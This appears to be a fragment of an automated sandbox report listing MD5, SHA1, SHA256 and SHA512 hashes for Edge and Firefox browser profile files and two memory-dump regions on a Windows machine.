SHA256 2ed25343ab1f375ff02b277401cf71c73dc1191c7fb05d87b3772bf508a495da
SHA512 161deb74a72ef21d366f0c8178f3d9fbfedcf8af2d022809575875177f9577456f346b29deaa6f430d1aefb1f78a684771eb13860aa2008ca24788472938359e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 807419ca9a4734feaf8d8563a003b048
SHA1 a723c7d60a65886ffa068711f1e900ccc85922a6
SHA256 aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631
SHA512 f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 68327e13c466246c349053ba0218666a
SHA1 ee22bf715c6c660a9951d1cfdf9e910cf8b54006
SHA256 c0a358051026285a3671d1e9e4d1eeeef821127da94ac6e487f087f477a2cea6
SHA512 6beb198554d8b1bc33449aef7836437cb3f22d53295a904160e07854f468fcfaa05f44893fd2f93bf50c2ff9c115d51204ad0d4ba185544c7c489954338588ed

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 0c33541538558957cf9089cb59f6fb23
SHA1 960f797f46cfcebec2e5772fb903783b968025a6
SHA256 b112a35b35c6d709823095d393516ed99709e5c5c41591fa425b4836dac21cc2
SHA512 26e4528b7f62f5885e24f09f9471e037127b6f2a2322b473551e2f3e304e4a296693f340860bd2f85a6af9f2baef1a889088bd4dcd19e7f985be1e365d979353

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 dd0ac853f0bfd0bdc67bc9c28a58f59a
SHA1 3494a126407a79d4d950135311c1d316b7c608f7
SHA256 b5e1d5c856c4cec9d6ed1a658507846603837a719832a5b2524dd5c8b7cd359b
SHA512 f81f99ed1446df045d90460647298768457725b909e4aec18beed64dc654d342150d095c0779e09f51ff774c76d1d169e72a90faa8884abbf585100c2b426ebb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59673c.TMP

MD5 86a775465a28c338b8a0b32d8aa777df
SHA1 59571eb8f1011778b1ce42785429dc0d246e2876
SHA256 bd7147907f32f4ce0ffe434021531fbc9c9e6c9f40a2d348f42950886d6b4482
SHA512 577f5197266ba6c6bd6b31f03dff206af2ffa52f2470c3262e20ddfc1da583a4f721771ba649d85ce02f3d8c0087e1aa0be7bdfc55c345b6f9d6ca15f4b269e4

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\y0bypz8z.default-release\AlternateServices.bin

MD5 7c0365675e95b8b23a549e5e76188539
SHA1 63cbbf100bf09ca48b7a33ad57f44ae0f8621717
SHA256 a6315458854f51d3dd84f8eb4af2034eb322f5dd8b7b012df204ba5a734e7d18
SHA512 0d4ed91c94feaf836f99ba42c49475d1591ba1c7fb2e5d22c33b038357055e0ff308e33609bbbe90c98d3ceeeaa61dea5f8298ecfc3bc246a67109cd18d00bf9

memory/404-4098-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/404-4100-0x00000000003C0000-0x00000000006E7000-memory.dmp